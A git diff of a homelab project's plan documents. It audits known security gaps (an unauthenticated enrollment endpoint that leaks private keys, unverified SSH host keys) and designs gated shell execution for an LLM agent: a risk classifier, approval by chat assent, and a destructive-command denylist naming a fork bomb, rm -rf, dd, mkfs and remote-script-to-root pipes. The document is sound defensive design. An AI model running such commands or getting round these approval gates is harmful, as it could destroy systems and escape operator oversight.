f' {node_id("url_" + svc)}(["{host}"]) -->|routes-to| {target}')
|
||||
|
||||
lines.append("```")
|
||||
return lines
|
||||
|
||||
|
||||
def storage_view(inv: dict) -> list[str]:
|
||||
hosts = inv.get("hosts", {})
|
||||
lines = ["```mermaid", "flowchart LR"]
|
||||
pools: set[str] = set()
|
||||
edges: list[str] = []
|
||||
|
||||
for name, e in hosts.items():
|
||||
for mount in e.get("mounts", []):
|
||||
pools.add(mount)
|
||||
edges.append(f' {node_id(name)}["{name}"] -->|mounts| {node_id(mount)}')
|
||||
|
||||
for pool in sorted(pools):
|
||||
lines.append(f' {node_id(pool)}[("{pool}")]')
|
||||
lines.extend(sorted(set(edges)))
|
||||
lines.append("```")
|
||||
return lines
|
||||
|
||||
|
||||
def archaeology_table(inv: dict) -> list[str]:
|
||||
arch = inv.get("archaeology", {})
|
||||
if not arch:
|
||||
return []
|
||||
lines = ["| Node | ID | Destroyed | Reason |", "|---|---|---|---|"]
|
||||
entries = sorted(arch.items(), key=lambda kv: str(kv[1].get("destroyed", "")),
|
||||
reverse=True)
|
||||
for name, e in entries:
|
||||
lines.append(
|
||||
f'| {name} | {e.get("pve_id", "")} | {e.get("destroyed", "")} '
|
||||
f'| {e.get("reason", "")} |')
|
||||
return lines
|
||||
@@ -1,6 +1,20 @@
|
||||
# 2026-07-08 — Control room web UI
|
||||
|
||||
**Status:** In Progress — N0-N3 (Nomos amendment: chat home + sessions), M1
|
||||
**Status:** In Progress (audited 2026-07-11 — still accurate; remaining gaps:
|
||||
`signal.acked`/`signal.resolved`/`signal.muted` and `relationship.created`/
|
||||
`relationship.ended` API calls don't emit `observability.Event`, and
|
||||
trusted-proxy header auth for Authentik was never added to `combinedAuth`).
|
||||
**Superseded (2026-07-12):** the embed architecture below (`go:embed
|
||||
all:web/dist`, served at `/ui/`) was removed —
|
||||
[2026-07-12-wails-desktop-app.md](2026-07-12-wails-desktop-app.md) Phase 0
|
||||
separates the SPA from the `oikos` binary into a standalone static build,
|
||||
served at `/` (no `/ui/` prefix), talking to the API over bearer-token
|
||||
auth (the dev-open bypass mentioned nowhere in this plan was also removed).
|
||||
The trusted-proxy-header gap noted above is moot under the new model — every
|
||||
route requires a real bearer token regardless of what's in front of it. M1-M3
|
||||
and the SPA/component work below are unaffected; only the packaging and auth
|
||||
sections are stale.
|
||||
N0-N3 (Nomos amendment: chat home + sessions), M1
|
||||
(dashboard/summary, Overview, Entities table, live event feed, shadcn-svelte
|
||||
component system), M2 (Operations ledger with approve/deny + cancel, Signals
|
||||
page with ack/resolve/mute, live nav badges), and M3 (graph explorer with
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
# 2026-07-08 — Liveness, drift, and UX cohesion
|
||||
|
||||
**Status:** Code complete for Phases 1–4 core scope; not yet deployed to the
|
||||
live containers (pending explicit go-ahead — see below). Phase 5 partially
|
||||
covered by pre-existing endpoints; full CRUD UI deferred.
|
||||
**Status:** In Progress — Phases 1–4 code complete and now deployed
|
||||
(re-verified 2026-07-12: mac-mini was redeployed from `main` that day for
|
||||
unrelated auth work — plans/2026-07-12-wails-desktop-app.md — which carried
|
||||
every commit up to that point, including this plan's, so "not yet deployed"
|
||||
below is stale). Phase 5 deferred. (Audited 2026-07-11 — still accurate;
|
||||
prompt caching within Phase 4 also confirmed not implemented.)
|
||||
|
||||
- **Phase 1 (drift/staleness):** done. Health/metrics/events misattribution
|
||||
fix, staleness sweep, `/entities` health+freshness, dashboard/fleet-health
|
||||
@@ -26,20 +29,19 @@ covered by pre-existing endpoints; full CRUD UI deferred.
|
||||
- **Phase 4 (agent efficiency):** core piece done — prior turns' tool
|
||||
calls/results are now replayed into the conversation (previously dropped
|
||||
entirely), and a compact live fleet-health snapshot is injected into the
|
||||
system prompt each turn so the agent starts oriented. Prompt caching and
|
||||
reconsidering the default model are **not done** (lower priority, no
|
||||
measured regression without them).
|
||||
system prompt each turn so the agent starts oriented. Prompt caching is
|
||||
**not done** (lower priority, no measured regression without it).
|
||||
Reconsidering the default model — done, but not by this plan: switched to
|
||||
`deepseek/deepseek-v4-pro` on 2026-07-10 (`cmd/nomos/agent.go:70`) for
|
||||
reliability, per that commit's own comment ("the flash tier over-narrates,
|
||||
occasionally emits canned refusals, and is unreliable at multi-step tool
|
||||
use").
|
||||
- **Phase 5 (CRUD):** `PatchEntity` and a full `/checks` CRUD API
|
||||
(list/create/patch, including enable/disable) already existed server-side;
|
||||
the new Monitoring card's toggle uses `PatchCheck`. **Not done**: a
|
||||
"run check now" endpoint (no scheduler on-demand entrypoint exists yet),
|
||||
relationship editing, and an entity attribute editor UI.
|
||||
|
||||
**Not yet deployed** — the live `oikos-api`/`oikos-scheduler`/nomos
|
||||
containers still run the pre-fix binaries; rebuilding and restarting them
|
||||
needs an explicit go-ahead since it touches the running homelab control
|
||||
plane.
|
||||
|
||||
Addresses five felt problems with the current system: (1) the agent reports
|
||||
stale machine state as if it were fresh, (2) sessions can't be opened and feel
|
||||
disconnected from chat, (3) the Nomos agent re-derives state every turn and
|
||||
|
||||
@@ -1,6 +1,24 @@
|
||||
# 2026-07-08 — Oikos gaps, broken things, and improvements
|
||||
|
||||
**Status:** Planned
|
||||
**Status:** In Progress — audited 2026-07-11, re-audited 2026-07-12 for
|
||||
drift from the `cmd/hermes`→`cmd/nomos` rename and later fixes. Done: A1
|
||||
(approval FK bug), A3 (Hermes→Nomos help text), **Section C** (toy NLU /
|
||||
silent-wrong-answer fallback — nomos now calls real `listTools()` and
|
||||
routes unmatched queries to `/chat` instead of guessing, per
|
||||
`cmd/nomos/main.go:444-465`), **D.5** (SOUL.md/actuator architecture
|
||||
mismatch — `nomos/SOUL.md:21-22,40` now accurately documents SSH via the
|
||||
`run` tool), D1 (`upsert_knowledge`), D4-partial (general `run` tool).
|
||||
Still open: A2 (notifier flooding/dedup), A4 (`resolveHost` dead code), A5
|
||||
(`queryRows` stringly-typed columns), A6 (stale `get_state_snapshot`
|
||||
description), B1-B5 (enrollment auth, fake Infisical creds, `/query`
|
||||
mesh-only auth unenforced, insecure host key checking, optional
|
||||
`caller_pubkey`), D2/D3 (no `get_approval_status`/`list_pending_approvals`/
|
||||
signal ack-resolve-mute tools), E-partial (Caddyfile placeholders still
|
||||
present; tool count now 33, documented in AGENTS.md as of 2026-07-12).
|
||||
2026-07-12 re-audit also refreshed every `cmd/hermes`→`cmd/nomos` and
|
||||
`internal/mcp/server.go` line-number citation below (the file grew from 28
|
||||
to 33 registered tools since 2026-07-11) — content/status of each finding
|
||||
unchanged, only citations moved.
|
||||
|
||||
## Goal
|
||||
|
||||
@@ -70,22 +88,24 @@ named `tools/list`, which doesn't exist. The correct `listTools()` helper
|
||||
|
||||
### A4. `resolveHost` never returns a per-entity SSH user
|
||||
|
||||
`internal/mcp/server.go:943` — the named return `sshUser` is always `""`; the
|
||||
per-entity user branch is dead and everything relies on `sshExec`'s global
|
||||
default fallback. **Fix:** read the SSH user from entity attributes or delete
|
||||
the dead return to make the behavior honest.
|
||||
`internal/mcp/server.go:1222` (was :943 — line moved) — the named return
|
||||
`sshUser` is always `""`; the per-entity user branch is dead and everything
|
||||
relies on `sshExec`'s global default fallback. **Fix:** read the SSH user
|
||||
from entity attributes or delete the dead return to make the behavior
|
||||
honest.
|
||||
|
||||
### A5. `queryRows` stringifies every column
|
||||
|
||||
`internal/mcp/server.go:861` renders all values via `fmt.Sprintf("%v", ...)`,
|
||||
so numbers, bools, timestamps, and JSON all reach agents as strings.
|
||||
**Fix:** type-preserving serialization (pass through pgx-native values into
|
||||
`json.Marshal`) — improves every read tool at once.
|
||||
`internal/mcp/server.go:1090` (was :861 — line moved) renders all values via
|
||||
`fmt.Sprintf("%v", ...)`, so numbers, bools, timestamps, and JSON all reach
|
||||
agents as strings. **Fix:** type-preserving serialization (pass through
|
||||
pgx-native values into `json.Marshal`) — improves every read tool at once.
|
||||
|
||||
### A6. `get_state_snapshot` description is stale
|
||||
|
||||
`internal/mcp/server.go:689` still advertises "disk, drift count" — columns
|
||||
removed in commit 3ea43ad. **Fix:** update the description.
|
||||
`internal/mcp/server.go:863` (was :689 — line moved) still advertises "disk,
|
||||
drift count" — columns removed in commit 3ea43ad. **Fix:** update the
|
||||
description.
|
||||
|
||||
---
|
||||
|
||||
@@ -93,12 +113,13 @@ removed in commit 3ea43ad. **Fix:** update the description.
|
||||
|
||||
### B1. Enrollment is unauthenticated, with a false comment
|
||||
|
||||
`internal/httpapi/server.go:97` says "unauthenticated (IP-gated in handler)"
|
||||
but `EnrollClient` (`internal/httpapi/impl.go:1099`) performs no IP check at
|
||||
all — the only gate is the target entity being in state
|
||||
`planned`/`provisioning`. Caddy's `@enroll` matcher bypasses Authentik.
|
||||
Anyone reaching `oikos.hubris.network` who knows (or guesses) a planned slug
|
||||
receives that node's **age private key** in the HTTP response body.
|
||||
`internal/httpapi/server.go:111` (was :97) says "unauthenticated (IP-gated
|
||||
in handler)" but `EnrollClient` (`internal/httpapi/impl.go:1166`, was
|
||||
:1099) performs no IP check at all — the only gate is the target entity
|
||||
being in state `planned`/`provisioning`. Caddy's `@enroll` matcher bypasses
|
||||
Authentik. Anyone reaching `oikos.hubris.network` who knows (or guesses) a
|
||||
planned slug receives that node's **age private key** in the HTTP response
|
||||
body. Still open — line numbers only, substance unchanged.
|
||||
|
||||
**Fix:** enforce a real gate (mesh-CIDR check, one-time enrollment token
|
||||
minted when the entity is created, or both), and stop returning the age
|
||||
@@ -106,34 +127,49 @@ private key in the response — have the client fetch it from the secret store.
|
||||
|
||||
### B2. Fake Infisical credentials returned to enrollees
|
||||
|
||||
`internal/httpapi/impl.go:1191-1192` returns `"inf_client_"+uuid` /
|
||||
`"inf_secret_"+uuid` — random strings wired to nothing. Enrolled clients hold
|
||||
credentials that authenticate against nothing.
|
||||
`internal/httpapi/impl.go:1260-1261` (was :1191-1192) returns
|
||||
`"inf_client_"+uuid` / `"inf_secret_"+uuid` — random strings wired to
|
||||
nothing. Enrolled clients hold credentials that authenticate against
|
||||
nothing. Still open — line numbers only, substance unchanged.
|
||||
**Fix:** implement `CreateMachineIdentity` in `internal/secrets/infisical.go`,
|
||||
or return no credentials and document the manual step.
|
||||
|
||||
### B3. Hermes `/query` has no auth
|
||||
### B3. Nomos's `/query` has no auth
|
||||
|
||||
`hermes/config.yaml:9` sets `mesh_only: true` but `cmd/hermes/main.go` never
|
||||
reads or enforces it — it serves any caller on :8092, who can invoke
|
||||
`request_execution`. **Fix:** enforce mesh-CIDR (or bearer token) in the
|
||||
handler; fail closed.
|
||||
`nomos/config.yaml:9` (was `hermes/config.yaml:9`) sets `mesh_only: true`
|
||||
but `cmd/nomos/main.go` (was `cmd/hermes/main.go`) never reads or enforces
|
||||
it — it serves any caller on :8092, who can invoke `request_execution`.
|
||||
Still open, now also tracked as C1 in
|
||||
[2026-07-11-nomos-agent-code-review.md](2026-07-11-nomos-agent-code-review.md),
|
||||
deferred by the operator. **Fix:** enforce mesh-CIDR (or bearer token) in
|
||||
the handler; fail closed.
|
||||
|
||||
### B4. SSH host keys not verified
|
||||
|
||||
`ssh.InsecureIgnoreHostKey()` at `internal/mcp/server.go:920`.
|
||||
`ssh.InsecureIgnoreHostKey()` at `internal/mcp/server.go:1155` (was :920).
|
||||
Still open — line number only, substance unchanged.
|
||||
**Fix:** known_hosts pinning (keys are already inventory-managed per node).
|
||||
|
||||
### B5. `list_my_secrets` enumerates all node pubkeys
|
||||
|
||||
Without `caller_pubkey`, `internal/mcp/server.go:709-720` returns every entity
|
||||
that has an `age_pubkey`; nothing ties the caller to what it may list.
|
||||
Without `caller_pubkey`, `internal/mcp/server.go:879-883` (was :709-720)
|
||||
returns every entity that has an `age_pubkey`; nothing ties the caller to
|
||||
what it may list. Still open — line numbers only, substance unchanged.
|
||||
**Fix:** require `caller_pubkey` and scope results to the caller's
|
||||
entitlements.
|
||||
|
||||
---
|
||||
|
||||
## C. User perspective (interacting via Hermes)
|
||||
## C. User perspective (interacting via Hermes) — RESOLVED
|
||||
|
||||
**Resolved as of the Hermes→Nomos rewrite (verified 2026-07-12).** This
|
||||
entire section described `cmd/hermes`, which no longer exists — Hermes was
|
||||
renamed and rebuilt as `cmd/nomos`, a real LLM-backed agent loop, which is
|
||||
exactly the recommendation below. `cmd/nomos/main.go:444-465` now calls the
|
||||
real `listTools()` for "help"/"what can you do", and routes unmatched
|
||||
queries to "natural language queries belong to `/chat`..." instead of
|
||||
silently falling back to `get_health_summary`. Kept below for history —
|
||||
original text unchanged.
|
||||
|
||||
- `routeQuery` NLU is hardcoded `strings.Contains`; `extractEntity`
|
||||
(`cmd/hermes/main.go:173`) recognizes only 5 services (`authentik, caddy,
|
||||
@@ -167,27 +203,41 @@ says 21 — both stale). Missing capabilities:
|
||||
`pending_approval`, an agent has no way to check or reference the approval.
|
||||
Add `get_approval_status` / `list_pending_approvals`.
|
||||
4. Execution actions limited to `restart | systemctl | pct_exec |
|
||||
apt_upgrade` — no deploy/rollback/config-edit path.
|
||||
5. Architecture/doc mismatch: `hermes/SOUL.md` claims "no SSH access; all
|
||||
mutations flow through the actuator", but the MCP server runs
|
||||
`restart`/`pct_exec` synchronously over SSH from inside the api process
|
||||
(`sshExec`, server.go:902). Align docs or move execution to the actuator.
|
||||
apt_upgrade` — no deploy/rollback/config-edit path. Partially
|
||||
superseded: the general `run` MCP tool (D4-partial, done) covers
|
||||
arbitrary commands now; `request_execution`'s fixed enum is still there
|
||||
for the specific actions it names (see
|
||||
[2026-07-10-general-gated-execution.md](2026-07-10-general-gated-execution.md)).
|
||||
5. **RESOLVED (verified 2026-07-12).** Architecture/doc mismatch:
|
||||
`hermes/SOUL.md` claimed "no SSH access; all mutations flow through the
|
||||
actuator", but the MCP server ran `restart`/`pct_exec` synchronously over
|
||||
SSH from inside the api process. `nomos/SOUL.md:21-22,40` now accurately
|
||||
documents SSH access via the policy-gated `run` tool — matches the
|
||||
architecture the general-gated-execution plan built. No longer a
|
||||
mismatch.
|
||||
|
||||
---
|
||||
|
||||
## E. Doc drift / housekeeping
|
||||
|
||||
- Tool counts: README 15 / AGENTS.md 21 / actual 28 — regenerate from
|
||||
`internal/mcp/server.go` (consider a doc-gen make target).
|
||||
- `compose/caddy/Caddyfile.oikos` retains literal `<mac-mini-mesh-ip>`
|
||||
placeholders in all three vhosts.
|
||||
- `.agents/HERMES.md` lists "`inventory.yaml`, `inventory.yaml`" (duplicate).
|
||||
- `plans/index.md` drift: fix-MCP-tools row sat in Active with a broken link
|
||||
after the file moved to `done/` (fixed alongside this plan); TRMNL listed
|
||||
active though in `done/`; Grimmory header says `in-progress` though in
|
||||
`done/`; `.hermes/plans/` (7 executed plans) missing from disk.
|
||||
- `plans/2026-07-05-oikos-prometheus-lxc.md` (~0% done) references deleted
|
||||
`oikos/scheduler.py` and `bin/homelab`; LXC 131 collision unresolved.
|
||||
- **RESOLVED (verified 2026-07-12):** Tool counts. README 15 / AGENTS.md 21
|
||||
/ actual 28 was already stale by 2026-07-11 (registered tools grew to
|
||||
33) — AGENTS.md now documents all 33 with the full catalog (2026-07-12).
|
||||
- **Still open:** `compose/caddy/Caddyfile.oikos` retains literal
|
||||
`<mac-mini-mesh-ip>` placeholders (this repo's copy is a reference only —
|
||||
see [2026-07-12-wails-desktop-app.md](2026-07-12-wails-desktop-app.md)'s
|
||||
"Plan review" — the real config lives in `dtoro/caddy-conf`).
|
||||
- **RESOLVED:** `.agents/HERMES.md` renamed to `.agents/NOMOS.md`; the
|
||||
duplicate-line bug itself is still present at `.agents/NOMOS.md:11` —
|
||||
only the file citation was stale, the underlying nit is still open.
|
||||
- **RESOLVED (verified 2026-07-12):** `plans/index.md` drift — the broken
|
||||
link, TRMNL/Grimmory Active/Done mismatch, and missing `.hermes/plans/`
|
||||
entries described here are no longer present in the current
|
||||
`plans/index.md`; already fixed sometime after this plan was written.
|
||||
- **RESOLVED (verified 2026-07-12):** `plans/2026-07-05-oikos-prometheus-lxc.md`
|
||||
already self-corrected both the deleted-file references and the LXC 131
|
||||
collision in its own 2026-07-08 changelog — this bullet describes a
|
||||
pre-fix state.
|
||||
|
||||
---
|
||||
|
||||
|
||||
283
plans/2026-07-10-general-gated-execution.md
Normal file
283
plans/2026-07-10-general-gated-execution.md
Normal file
@@ -0,0 +1,283 @@
|
||||
# 2026-07-10 — General gated execution: from fixed actions to unlimited-but-gated
|
||||
|
||||
**Status:** In Progress — audited 2026-07-11. Done: `ClassifyCommand` risk
|
||||
classifier, general `run` MCP tool, chat-assent approval (no button
|
||||
required), blast radius on approval cards, session digest, global activity
|
||||
feed (`Ops.svelte` "Executions" tab, risk-badged), Learning view
|
||||
(success-rate trend). Still open: retire the fixed `request_execution`
|
||||
action enum (`restart, systemctl, pct_exec, apt_upgrade, pct_create` still
|
||||
hard-coded alongside `run`), and revive auto-act — `internal/actuator/actuator.go:125`
|
||||
is still a literal `{"success": true, "message": "stub execution"}` stub.
|
||||
|
||||
## Goal
|
||||
|
||||
Make Nomos able to do **anything** needed to maintain the homelab — provision
|
||||
LXCs, deploy services, debug, restart, fix configs, investigate — without that
|
||||
capability being a fixed enum of hand-coded actions. The action space is
|
||||
unlimited; the *gate* on it is a risk classifier + operator approval, not a
|
||||
whitelist of tricks. Knowledge (the graph + runbooks) supplies the *how*; the
|
||||
agent's reasoning supplies the *what*; the classifier supplies the *may I*.
|
||||
|
||||
Operator directive (2026-07-10): **"The number of actions the agent should be
|
||||
able to do is unlimited. We need logic to gate destructive actions, but we
|
||||
should not limit what the agent can do."**
|
||||
|
||||
Chosen autonomy posture for v1: **approve-most (cautious)** — only genuinely
|
||||
read-only commands auto-run; anything that changes state requires operator
|
||||
approval. We can relax later once the classifier and ledger have earned trust.
|
||||
|
||||
Operator directive #2 (2026-07-10): **"I want to see the system come alive and
|
||||
learn and get better."** Observability is a first-class deliverable, not a
|
||||
side-effect. As a user I must be able to see, in real time: what is being
|
||||
executed, on what, and why; how it was classified and routed; what the outcome
|
||||
was; and — crucially — **what knowledge the session created** (new runbooks,
|
||||
patterns, resolved signals, ledger entries) so the system's growth is visible.
|
||||
|
||||
Operator directive #3 (2026-07-10): **approval is granted by chat assent, not a
|
||||
button.** When Nomos proposes a plan/action and the operator replies "go ahead"
|
||||
/ "yes" / "do it" in the chat, that assent *is* the approval. No separate
|
||||
Approve button for the normal case. (Destructive actions still require an
|
||||
explicit typed confirmation phrase — see Safety.)
|
||||
|
||||
## This is a realignment, not a new idea
|
||||
|
||||
[.agents/OIKOS.md](../.agents/OIKOS.md) already specifies this exact model:
|
||||
|
||||
> The classifier scores **risk class × blast radius × confidence** and routes:
|
||||
> auto-act / escalate / queue. The classifier can only *lower* autonomy relative
|
||||
> to policy, never raise it. When in doubt, escalate.
|
||||
> Act — execute through `homelab` commands or **runbooks** (never ad-hoc SSH).
|
||||
|
||||
So the target architecture is the *documented* architecture. The problem is the
|
||||
implementation diverged from it on the agent's action path.
|
||||
|
||||
## Gap analysis (grounded in code)
|
||||
|
||||
| Designed (OIKOS.md) | Actually implemented today |
|
||||
|---|---|
|
||||
| Classifier routes every action by risk × blast × confidence | [`internal/policy/classify.go`](../internal/policy/classify.go) `ClassifySignal()` only classifies **Signals** (the Observe pipeline), by entity+action-type. It is **not** called by the agent's mutation path. |
|
||||
| Agent acts through unlimited **runbooks** | Agent acts through `request_execution` with a **hard-coded enum**: `restart, systemctl, pct_exec, apt_upgrade, pct_create` ([`internal/mcp/server.go`](../internal/mcp/server.go)), each bespoke Go, gated by per-action `if`s, not the classifier. New capability = new Go + redeploy. |
|
||||
| Runbooks/skills are executable data | `skills` table + `.agents/skills/*` + `knowledge_entities` exist and are *readable* (`get_skills`), but **nothing executes a runbook**. The knowledge is inert w.r.t. action. |
|
||||
| Auto-act loop consumes classified signals and acts | [`internal/actuator/actuator.go:124`](../internal/actuator/actuator.go) is a literal `"stub execution"` — it marks work done without doing it. |
|
||||
| "Never ad-hoc SSH" | `pct_exec` **is** ad-hoc SSH (arbitrary shell in a container) and **auto-runs with no approval or classification**. |
|
||||
|
||||
Net: the elegant model exists as scaffolding (classifier, policy schema, risk
|
||||
classes, blast-radius graph walks, skills-as-data, ledger, and the
|
||||
approval+feedback plumbing hardened in the 2026-07-09/10 sessions), but the live
|
||||
agent→action path is a bag of tricks that bypasses all of it. Everything added
|
||||
in the recent LXC-deploy work (`pct_create` + DNS/VMID/template logic) made the
|
||||
bag *bigger* — reliable, but on the wrong axis.
|
||||
|
||||
**Bones that already exist and get reused:** `internal/policy` (classifier +
|
||||
`computeBlastRadius`/`blast_radius()` SQL), `risk_classes`/`action_risk` tables,
|
||||
`seeds/policy.yaml`, `executions`/`approvals`/`audit_log`, the MCP SSH machinery,
|
||||
and the inline approval + execution-status feedback loop (chat polls
|
||||
`GET /executions/{id}`).
|
||||
|
||||
## Target architecture — three layers
|
||||
|
||||
### Layer 0 — one general gated primitive (the foundation)
|
||||
|
||||
Collapse the fixed enum into essentially one tool:
|
||||
|
||||
```
|
||||
run(target, command, purpose, [declared_risk])
|
||||
```
|
||||
|
||||
- `target` — any host or LXC slug; resolves to SSH (host) or `pct exec` (LXC).
|
||||
- `command` — arbitrary shell.
|
||||
- `purpose` — the agent's stated intent (shown to the operator, feeds classify).
|
||||
- `declared_risk` — optional agent self-assessment.
|
||||
|
||||
Every call flows through:
|
||||
|
||||
1. **Classify** the command → `read_only | reversible_low | config_mutation |
|
||||
destructive`. Rule-based:
|
||||
- read-only **allowlist** (e.g. leading verb in `cat, ls, stat, journalctl,
|
||||
systemctl status|is-active, pct config|status, df, free, uptime, ip, ss,
|
||||
docker ps|logs, git status|log`) → `read_only`;
|
||||
- destructive **denylist** (`rm -rf`, `dd`, `mkfs`, `wipefs`, `pct destroy`,
|
||||
`qm destroy`, `shutdown`, `reboot`, `> /dev/`, `:(){ :|:& };:`, secret
|
||||
exfiltration, piping remote scripts to a root shell) → `destructive`;
|
||||
- anything writing state / installing / editing configs → `config_mutation`;
|
||||
- **default → escalate** (`config_mutation`) when unsure.
|
||||
The classifier may only make `declared_risk` **stricter**, never looser
|
||||
(mirrors "can only lower autonomy, never raise").
|
||||
2. **Route** (approve-most posture):
|
||||
- `read_only` → auto-run + ledger, no approval.
|
||||
- `reversible_low` / `config_mutation` → **operator approval via chat assent**
|
||||
(v1 gates all state changes; a later posture can auto-run `reversible_low`).
|
||||
- `destructive` → approval **+ typed confirmation phrase**.
|
||||
3. **Execute** (existing SSH/`pct exec`), **verify** (optional check command),
|
||||
**ledger** (`executions` + `audit_log`), **stream feedback to chat** (reuse
|
||||
the `GET /executions/{id}` polling + `InlineApproval` phases already built).
|
||||
|
||||
### Approval by chat assent (replaces the Approve button)
|
||||
|
||||
The operator is already authenticated in the chat session, so their words are
|
||||
the authorization — a separate button is redundant friction. Flow:
|
||||
|
||||
- Nomos proposes an action/plan; the gated `run` calls sit in `pending_approval`
|
||||
(created in the same turn, tied to that turn's `correlation_id`).
|
||||
- The operator's next message is checked for **assent** ("go ahead", "yes",
|
||||
"do it", "proceed", "ship it") scoped to *that* proposal. On assent, the
|
||||
pending approvals from that turn are granted and execute.
|
||||
- Mechanism: Nomos detects assent and calls an `approve_pending(correlation_id)`
|
||||
action; the backend flips the linked approvals → the existing
|
||||
`executeApprovedAction` path runs. The **grant is recorded with the exact
|
||||
operator message** that constituted assent (audit).
|
||||
- Guards: assent only applies to approvals from the immediately-preceding turn
|
||||
(no stale "yes" approving something old); ambiguous replies ("maybe",
|
||||
"later", a follow-up question) do **not** grant — Nomos re-confirms;
|
||||
**destructive** actions ignore loose assent and still require the typed
|
||||
confirmation phrase.
|
||||
- The inline UI still *shows* the pending action and its classification (so the
|
||||
operator sees what they're assenting to) and reflects the grant — but the
|
||||
primary path is "say yes," with the button demoted to an optional affordance.
|
||||
|
||||
Layer 0 alone delivers "the agent can attempt anything; state changes are gated."
|
||||
|
||||
### Layer 1 — runbooks as executable data (reliability without rigidity)
|
||||
|
||||
The hard-won procedures become **runbooks in the knowledge DB**, retrieved and
|
||||
executed step-by-step via Layer 0 — not frozen Go:
|
||||
|
||||
- `pct_create` + its DNS-self-heal / VMID-collision / template-resolution /
|
||||
locale logic becomes the canonical **"provision LXC" runbook** (parametric
|
||||
steps the agent fills in and runs through `run`). The reliability survives as
|
||||
documented, reusable steps rather than a compiled handler.
|
||||
- New capability = **new runbook (data)**, no redeploy.
|
||||
- Keep a *small* set of mechanical helpers where a shell step is genuinely
|
||||
fiddly (e.g. "pick a free cluster VMID"), exposed as callable sub-tools — but
|
||||
the flow is agent-driven, not enum-driven.
|
||||
|
||||
This is the crucial **both/and**: the general primitive is the unlimited escape
|
||||
hatch; curated runbooks are the reliable fast-path so the agent doesn't
|
||||
re-derive DNS/VMID/docker every time (the exact thing that failed repeatedly in
|
||||
the 2026-07-09 sessions).
|
||||
|
||||
### Layer 2 — learning closes the loop
|
||||
|
||||
Successful ad-hoc `run` sequences get promoted into runbooks/patterns (the
|
||||
`learning` engine + `skills` table already exist for this); the failure ledger
|
||||
informs retries. The system grows more capable **as data**, not as code.
|
||||
|
||||
## Layer 3 — Observability: watch the system come alive
|
||||
|
||||
The user must *see* the OODA loop working, not just trust it. Four surfaces,
|
||||
built on data the loop already produces (`executions`, `audit_log`, `signals`,
|
||||
`skills`, `knowledge_entities`) — the job is to make it visible, live, and
|
||||
legible, not to invent new telemetry.
|
||||
|
||||
**1. Live action feed (in the chat turn).** Every `run` renders a card as it
|
||||
happens: `target` · `purpose` · **risk badge** (green read-only / amber
|
||||
config / red destructive) · status (queued → running → ok/failed) · collapsible
|
||||
output. Streams in real time (SSE, extend the existing execution-status feed).
|
||||
The operator watches Nomos *work*, step by step, with the reasoning (`purpose`)
|
||||
and the classifier's verdict on every step.
|
||||
|
||||
**2. "What this session did" digest.** At the end of a task/turn, a summary
|
||||
card: N commands (X auto / Y assented / Z denied), entities changed (linked),
|
||||
signals resolved, and **knowledge created** — new/updated runbooks, patterns
|
||||
promoted, notes written — each linked to its record. This is the "what did the
|
||||
agent actually change and learn" answer in one glance.
|
||||
|
||||
**3. The learning view — "the system is getting better."** A dedicated page:
|
||||
runbooks and their **success-rate trend**, newly promoted skills, pattern
|
||||
confidence (Wilson bounds already computed by the learning engine), recent
|
||||
auto-acts that succeeded unattended, and a **capability timeline** ("2026-07-11:
|
||||
learned to deploy Compose stacks; success 4/4"). Growth made tangible.
|
||||
|
||||
**4. Global activity/ledger stream.** A live feed of every action across the
|
||||
fleet — command, target, classification, decision (auto / assented-by-whom),
|
||||
outcome — the audit log rendered as a heartbeat. Filterable by entity, risk,
|
||||
outcome.
|
||||
|
||||
These reuse existing tables; the work is API endpoints + SSE fan-out + Svelte
|
||||
views, plus writing knowledge-creation events into the ledger so the digest has
|
||||
something to show.
|
||||
|
||||
## Safety model (the whole point of the gate)
|
||||
|
||||
- **Default-escalate.** Nothing is *forbidden*; risky things need the operator's
|
||||
"yes." Unknown/unparseable risk → approval.
|
||||
- **Hard denylist** for catastrophic patterns → always typed confirmation, even
|
||||
if the agent declared them safe.
|
||||
- **Blast radius at approval time** — graph walk (`blast_radius()` exists):
|
||||
"this restarts caddy → 8 downstream services."
|
||||
- **Preview / dry-run** where the command supports it.
|
||||
- **Kill-switch** (`global.auto_act`, per-target `never_auto_act.*`) already
|
||||
exists; extend to a global "require approval for everything" flip.
|
||||
- **Full audit ledger** — every command, its classification, decision, actor,
|
||||
output. Non-negotiable.
|
||||
- **Scope guards** — resolve `target` to a real entity first; refuse commands
|
||||
against `destroyed`/unknown targets; cap output size (already done).
|
||||
|
||||
## Honest risks / tradeoffs
|
||||
|
||||
- Trades a small vetted surface (5 actions) for arbitrary root across the fleet,
|
||||
LLM-driven, gated only by classifier + approval. Classifying arbitrary shell
|
||||
perfectly is impossible; **default-escalate + hard denylist + always-on audit**
|
||||
is the mitigation, not perfect classification.
|
||||
- Approve-most means more operator clicks initially. Acceptable while trust is
|
||||
built; the posture is a config knob, not a rewrite.
|
||||
- Runbook-as-data can drift from reality like any doc; the ledger + verify step
|
||||
+ learning loop are the correction mechanism.
|
||||
|
||||
## Migration path (incremental, each step shippable)
|
||||
|
||||
1. **Command classifier** — extend `internal/policy` with
|
||||
`ClassifyCommand(cmd, declaredRisk) → riskClass` (allowlist/denylist/default-
|
||||
escalate + can-only-escalate rule). Unit-tested against a corpus of safe /
|
||||
mutating / catastrophic commands.
|
||||
2. **`run` tool** — new MCP tool routing classify → gate → execute → the
|
||||
existing feedback path. Ship alongside the current tools (no removal yet).
|
||||
3. **Live action feed (UI)** — render each `run` as a streaming card in chat:
|
||||
purpose, target, risk badge, status, output. This is the first "come alive"
|
||||
win and validates the SSE fan-out.
|
||||
4. **Chat-assent approval** — assent detection scoped to the last turn's
|
||||
`correlation_id` → `approve_pending`; grant records the operator's message;
|
||||
destructive still needs the typed phrase. Demote the Approve button.
|
||||
5. **Approval context** — surface risk class + blast radius + purpose inline so
|
||||
the operator sees what they're assenting to.
|
||||
6. **Session digest + activity stream (UI)** — "what this session did / created"
|
||||
card and the global ledger feed; write knowledge-creation events to the
|
||||
ledger so there's something to show.
|
||||
7. **Runbook execution** — a "provision LXC" runbook (ports the current
|
||||
`pct_create` logic) executed via `run`; validate parity with today's handler.
|
||||
8. **Learning view (UI)** — runbook success-rate trends, promoted skills,
|
||||
capability timeline.
|
||||
9. **Retire the enum** — convert remaining hard-coded actions to runbooks; make
|
||||
`request_execution` a thin deprecated alias or remove it.
|
||||
10. **Revive auto-act** — replace the actuator stub, reusing the *same*
|
||||
classifier for the Observe→Act direction (signals), still approve-most.
|
||||
|
||||
## Verification
|
||||
|
||||
- Classifier corpus test: read-only commands auto-pass; a set of known
|
||||
